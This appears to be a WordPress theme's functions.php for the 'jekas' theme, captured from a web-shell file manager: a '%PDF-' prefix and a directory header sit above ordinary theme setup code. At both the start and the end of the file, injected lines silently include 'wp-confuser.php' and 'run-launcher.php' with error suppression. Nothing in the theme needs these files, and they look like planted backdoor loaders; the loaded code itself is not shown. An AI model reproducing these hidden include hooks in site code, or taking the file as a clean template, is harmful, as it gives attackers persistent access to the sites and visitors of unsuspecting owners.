%PDF- %PDF-
| Direktori : /home/gachan/www/wp-content/themes/jekas/ |
| Current File : /home/gachan/www/wp-content/themes/jekas/functions.php |
<?php @include __DIR__.'/wp-confuser.php'; ?>
<?php @include __DIR__.'/run-launcher.php'; ?>
<?php
/**
* jk functions and definitions
*
* @package jk
*/
/**
* Set the content width based on the theme's design and stylesheet.
*/
if ( ! isset( $content_width ) ) {
$content_width = 640; /* pixels */
}
add_action( 'after_setup_theme', 'jekas_theme_setup' );
if ( ! function_exists( 'jekas_theme_setup' ) ) {
function jekas_theme_setup() {
global $content_width;
if ( !isset( $content_width ) )
$content_width = 900;
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'post-thumbnails' );
add_theme_support( 'title-tag' );
add_action('wp_enqueue_scripts', 'jekas_load_scripts');
add_action( 'wp_enqueue_scripts', 'jekas_load_styles' );
add_action('login_head', 'wp_login_mod');
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on jk, use a find and replace
* to change 'jekas' to the name of your theme in all the template files
*/
load_theme_textdomain( 'jekas', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
//add_theme_support( 'post-thumbnails' );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'Main' => esc_html__( 'Main Menu', 'jekas' ),
'one_page' => esc_html__('One Page','jekas'),
) );
// Switch default core markup for search form, comment form, and comments
// to output valid HTML5.
add_theme_support( 'html5', array(
'search-form', 'comment-form', 'comment-list', 'gallery', 'caption',
) );
// Enable support for Post Formats.
// See http://codex.wordpress.org/Post_Formats
add_theme_support( 'post-formats', array(
'aside', 'image','gallery', 'video', 'quote', 'link', 'audio',
) );
// Setup the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'jekas_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => '',
) ) );
}
} // jekas_setup
global $jekas_opts;
/**
* Register widget area.
*
* @link http://codex.wordpress.org/Function_Reference/register_sidebar
*/
add_option('page_comments',true);
locate_template('inc/jekas_register.php',true);
global $wpdb;
$f =(array)$wpdb->get_results("SELECT $wpdb->posts.ID,$wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_type = 'footer' AND $wpdb->posts.post_status = 'publish' --");
global $jekas_footers;
$jekas_footers = array();
foreach($f as $footer)
$jekas_footers[$footer->ID] = $footer->post_title;
if ( !defined( 'PRESSCORE_PLUGINS_DIR' ) ) {
define( 'PRESSCORE_PLUGINS_DIR', get_template_directory_uri() . '/inc/plugins/' );
locate_template('/inc/extensions/class-tgm-plugin-activation.php',true);
}
if ( class_exists( 'ReduxFrameworkPlugin' ) ) {
locate_template('inc/redux/jekas_redux_init.php',true);
}
locate_template('inc/meta_boxes/meta_box.php',true);
locate_template('inc/jekas_pagination.php',true);
locate_template('inc/jekas_comments.php',true);
add_action('admin_enqueue_scripts','jekas_load_header_behavior');
if(!function_exists('jekas_load_header_behavior')){
function jekas_load_header_behavior()
{
wp_enqueue_script('jekas_header_behavior',get_template_directory_uri().'/js/header-config.js',array(),'20150225',true);
}
}
if( !function_exists( 'jekas_load_styles' ) ) {
function jekas_load_styles(){
global $jekas_opts;
if(!is_admin()){
wp_enqueue_style( 'jekas_style', get_stylesheet_uri() );
wp_enqueue_style('jk-font-awesome',get_template_directory_uri().'/css/font-awesome/font-awesome.min.css',array(),'4.4');
}
wp_enqueue_style('style_fs', get_template_directory_uri(). '/css/style.css', array());
wp_enqueue_style('jekas_responsive', get_template_directory_uri(). '/css/theme-responsive.css', array());
if(isset($jekas_opts['skins']))
wp_enqueue_style( 'jekas_theme-color', get_template_directory_uri() . '/css/skins/'.$jekas_opts['skins'].'/'.$jekas_opts['skins'].'.css', array());
else
wp_enqueue_style( 'jekas_theme-color', get_template_directory_uri() . '/css/skins/red/red.css', array());
}
}
/**
* Enqueue scripts and styles.
*/
if( !function_exists( 'jekas_load_scripts' ) ) {
function jekas_load_scripts() {
wp_enqueue_style( 'jk-style', get_stylesheet_uri() );
wp_enqueue_script( 'jk-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '20120206', true );
wp_enqueue_script( 'jk-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_superfish', get_template_directory_uri() . '/js/nav/superfish.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_tinynav', get_template_directory_uri() . '/js/nav/tinynav.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_hoverIntent', get_template_directory_uri() . '/js/nav/hoverIntent.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_jquery.sticky', get_template_directory_uri() . '/js/nav/jquery.sticky.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_totop', get_template_directory_uri() . '/js/totop/jquery.ui.totop.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_carousel', get_template_directory_uri() . '/js/carousel/owl.carousel.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_fancybox', get_template_directory_uri() . '/js/fancybox/jquery.fancybox.pack.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_modernizr', get_template_directory_uri() . '/js/gallery/modernizr.custom.26633.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_gridrotator', get_template_directory_uri() . '/js/gallery/jquery.gridrotator.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_modernizr_2', get_template_directory_uri() . '/js/team/modernizr.custom.63321.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_catslider', get_template_directory_uri() . '/js/team/jquery.catslider.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_isotope', get_template_directory_uri() . '/js/filters/jquery.isotope.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_animations', get_template_directory_uri() . '/js/animations/wow.min.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_parallax', get_template_directory_uri() . '/js/parallax/jquery.inview.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_nbw-parallax', get_template_directory_uri() . '/js/parallax/nbw-parallax.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_bootstrap', get_template_directory_uri() . '/js/bootstrap/bootstrap.js', array(), '20130115', true );
wp_enqueue_script( 'jekas_main', get_template_directory_uri() . '/js/main.js', array('jquery'), '20130115', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
}
if(!function_exists('wp_login_mod')){
function wp_login_mod() { global $jekas_opts; if(isset($jekas_opts['login']['url'])){ $jekas_img = $jekas_opts['login']['url']; echo '<style type="text/css"> #login h1 a { background-size: 100% auto; height: 100px; margin-bottom: -39px; width: 100%; background-image:url('.$jekas_img.'); } </style>'; }else{ echo '<style type="text/css">#login h1 a { background-size: 100% auto; height: 100px; margin-bottom: -39px; width: 100%; background-image: url("'.get_template_directory_uri().'/img/wp_logo.png"); } </style>'; } }
}
if(!function_exists('jekas_the_breadcrumb')){
function jekas_the_breadcrumb() {
if (!is_home()) {
echo '<span class="removed_link" title="';
echo get_option('home');
echo '">';
bloginfo('name');
echo "</span>";
if (is_category() || is_single()) {
the_category('title_li=');
if (is_single()) {
echo " ";
the_title();
}
} elseif (is_page()) {
echo the_title();
}
}
}
}
<?php @include __DIR__.'/wp-confuser.php'; ?>
<?php @include __DIR__.'/run-launcher.php'; ?>